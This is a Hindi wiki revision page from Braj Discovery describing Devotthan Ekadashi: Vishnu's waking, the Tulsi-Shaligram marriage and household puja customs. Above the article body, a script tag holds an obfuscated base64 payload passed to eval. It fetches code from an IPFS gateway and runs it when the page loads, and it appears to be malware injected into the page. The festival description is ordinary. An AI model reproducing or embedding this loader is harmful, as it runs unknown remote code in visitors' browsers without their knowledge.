देवोत्थान एकादशी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Renu (चर्चा | योगदान) द्वारा परिवर्तित ११:२१, ५ सितम्बर २००९ का अवतरण (नया पृष्ठ: {{Menu}}<br/ > {{साँचा:पर्व और त्यौहार}} ==देवोत्थान एकादशी== दीपावली के पश्...)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

साँचा:पर्व और त्यौहार

देवोत्थान एकादशी

दीपावली के पश्चात आने वाली इस एकादशी को 'देव उठनी' या 'प्रबोधिनी एकादशी' भी कहा जाता है। आषाढ़ शुक्ल एकादशी की तिथि को देव शयन करते हैं और इस कार्तिक शुक्ल एकादशी के दिन उठते हैं। इसीलिए इसे देवोत्थान (देव-उठनी) एकादशी कहा जाता है। कहा जाता है कि इस दिन भगवान विष्णु, जो क्षीरसागर में सोए हुए थे, चार माह उपरान्त जागे थे। विष्णुजी के शयन काल के चार मासों में विवाहादि मांगलिक कार्यों का आयोजन करना निषेध है। हरि के जागने के बाद ही इस एकादशी से सभी शुभ तथा मांगलिक कार्य शुरू किए जाते हैं। कुछ धार्मिक व्यक्ति इस दिन तुलसी और शालिग्राम के विवाह का आयोजन भी करते हैं। तुलसी के वृक्ष और शालिग्राम की यह शादी सामान्य विवाह की तरह पूरे धूमधाम से की जाती है। शास्त्रों में कहा गया है कि जिन दम्पतियों के कन्या नहीं होती, वे जीवन में एक बार तुलसी का विवाह करके कन्यादान का पुण्य अवश्य प्राप्त करें।

इस दिन सारे घर को लीप-पोतकर साफ करना चाहिए तथा स्नानादि से निवृत्त होकर आंगन में चौक पूरकर भगवान विष्णु के चरणों को चित्रित करना चाहिए। एक ओखली में गेरू से चित्र बनाकर फल, पकवान, मिष्ठान्न, बेर, सिंघाड़े, ऋतुफल और गन्ना उस स्थान पर रखकर परात अथवा डलिया से ढक दिया जाता है तथा एक दीपक भी जला दिया जाता है। रात्रि को परिवार के सभी वयस्क सदस्य देवताओं का भगवान विष्णु सहित सहित विधिवत पूजन करने के बाद प्रात:काल भगवान को शंख, घंटा-घड़ियाल आदि बजाकर जगाते हैं तथा इस प्रकार कहते हैं-

  • 'उठो देवा, बैठा देवा, आंगुरिया चटकाओ देवा।'

इसके बाद पूजा करके कथा सुनी जाती है।